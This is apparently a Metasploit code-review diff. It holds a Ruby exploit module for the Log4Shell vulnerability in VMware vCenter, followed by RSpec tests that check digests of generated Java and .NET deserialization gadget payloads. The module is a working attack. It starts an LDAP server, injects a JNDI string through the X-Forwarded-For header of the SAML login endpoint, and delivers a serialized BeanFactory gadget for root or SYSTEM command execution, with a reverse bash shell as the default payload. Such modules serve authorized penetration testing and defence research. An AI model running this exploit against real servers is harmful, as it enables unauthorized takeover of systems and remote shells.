'Description' => %q{
|
||||
VMware vCenter Server is affected by the Log4Shell vulnerability whereby a JNDI string can sent to the server
|
||||
that will cause it to connect to the attacker and deserialize a malicious Java object. This results in OS
|
||||
command execution in the context of the root user in the case of the Linux virtual appliance and SYSTEM on
|
||||
Windows.
|
||||
|
||||
This module will start an LDAP server that the target will need to connect to. This exploit uses the logon page
|
||||
vector.
|
||||
},
|
||||
'Author' => [
|
||||
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff
|
||||
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff
|
||||
'jbaines-r7', # vCenter research
|
||||
'w3bd3vil' # vCenter PoC https://twitter.com/w3bd3vil/status/1469814463414951937
|
||||
],
|
||||
'References' => [
|
||||
[ 'CVE', '2021-44228' ],
|
||||
[ 'URL', 'https://attackerkb.com/topics/in9sPR2Bzt/cve-2021-44228-log4shell/rapid7-analysis'],
|
||||
[ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0028.html' ],
|
||||
[ 'URL', 'https://twitter.com/w3bd3vil/status/1469814463414951937' ]
|
||||
],
|
||||
'DisclosureDate' => '2021-12-09',
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' => {
|
||||
'RPORT' => 443,
|
||||
'SSL' => true,
|
||||
'SRVPORT' => 389,
|
||||
'WfsDelay' => 30,
|
||||
'CheckModule' => 'auxiliary/scanner/http/log4shell_scanner'
|
||||
},
|
||||
'Targets' => [
|
||||
[
|
||||
'Windows', {
|
||||
'Platform' => 'win'
|
||||
},
|
||||
],
|
||||
[
|
||||
'Linux', {
|
||||
'Platform' => 'unix',
|
||||
'Arch' => [ARCH_CMD],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_bash'
|
||||
}
|
||||
},
|
||||
]
|
||||
],
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS],
|
||||
'AKA' => ['Log4Shell', 'LogJam'],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'RelatedModules' => [
|
||||
'auxiliary/scanner/http/log4shell_scanner',
|
||||
'exploit/multi/http/log4shell_header_injection'
|
||||
]
|
||||
}
|
||||
)
|
||||
register_options([
|
||||
OptString.new('TARGETURI', [ true, 'Base path', '/'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
validate_configuration!
|
||||
|
||||
return Exploit::CheckCode::Unknown if tenant.nil?
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def check_options
|
||||
{
|
||||
'LDAP_TIMEOUT' => datastore['WfsDelay'],
|
||||
'HTTP_HEADER' => 'X-Forwarded-For',
|
||||
'TARGETURI' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
|
||||
'HEADERS_FILE' => nil,
|
||||
'URIS_FILE' => nil
|
||||
}
|
||||
end
|
||||
|
||||
def build_ldap_search_response_payload
|
||||
return [] if @search_received
|
||||
|
||||
@search_received = true
|
||||
|
||||
print_good('Delivering the serialized Java object to execute the payload...')
|
||||
build_ldap_search_response_payload_inline('BeanFactory')
|
||||
end
|
||||
|
||||
def tenant
|
||||
return @tenant unless @tenant.nil?
|
||||
|
||||
res = send_request_cgi('uri' => normalize_uri(target_uri, 'ui', 'login'))
|
||||
return nil unless res&.code == 302
|
||||
return nil unless res.headers['Location'] =~ %r{websso/SAML2/SSO/([^/]+)\?}
|
||||
|
||||
@tenant = Regexp.last_match(1)
|
||||
end
|
||||
|
||||
def trigger
|
||||
@search_received = false
|
||||
# HTTP request initiator
|
||||
send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri, 'websso', 'SAML2', 'SSO', tenant) + '?SAMLRequest=',
|
||||
'headers' => { 'X-Forwarded-For' => jndi_string }
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
validate_configuration!
|
||||
|
||||
start_service
|
||||
trigger
|
||||
|
||||
sleep(datastore['WfsDelay'])
|
||||
handler
|
||||
ensure
|
||||
cleanup
|
||||
end
|
||||
end
|
|
@ -25,7 +25,7 @@ RSpec.describe Msf::Util::DotNetDeserialization do
|
|||
table.each do |gadget_chain, correct_digest|
|
||||
stream = Msf::Util::DotNetDeserialization.generate(COMMAND, gadget_chain: gadget_chain)
|
||||
expect(stream).to be_kind_of String
|
||||
real_digest = OpenSSL::Digest::SHA1.digest(stream).each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join
|
||||
real_digest = OpenSSL::Digest::SHA1.hexdigest(stream)
|
||||
expect(real_digest).to eq correct_digest
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,22 @@
|
|||
require 'rex'
|
||||
|
||||
RSpec.describe Msf::Util::JavaDeserialization::BeanFactory do
|
||||
describe '#generate' do
|
||||
it 'generates the correct gadget chain' do
|
||||
# this is a quick but important check to ensure consistency of the
|
||||
# serialized payloads which are deterministic
|
||||
table = {
|
||||
'bash' => '9e66df5e4e57e473e6f78e55cbf95708b3ecdf6b',
|
||||
'cmd' => '534cb3b84daf2290e87f7c325dc2aa0adddcd9b5',
|
||||
'powershell' => '030fbad1d4fbdc7f49067947273fb295c4a5dc24',
|
||||
nil => '9a9c678d2073994cec42b1ba74774a345687bcc3'
|
||||
}
|
||||
table.each do |shell, correct_digest|
|
||||
stream = Msf::Util::JavaDeserialization::BeanFactory.generate('ping 127.0.0.1', shell: shell)
|
||||
expect(stream).to be_kind_of String
|
||||
real_digest = OpenSSL::Digest::SHA1.hexdigest(stream)
|
||||
expect(real_digest).to eq correct_digest
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue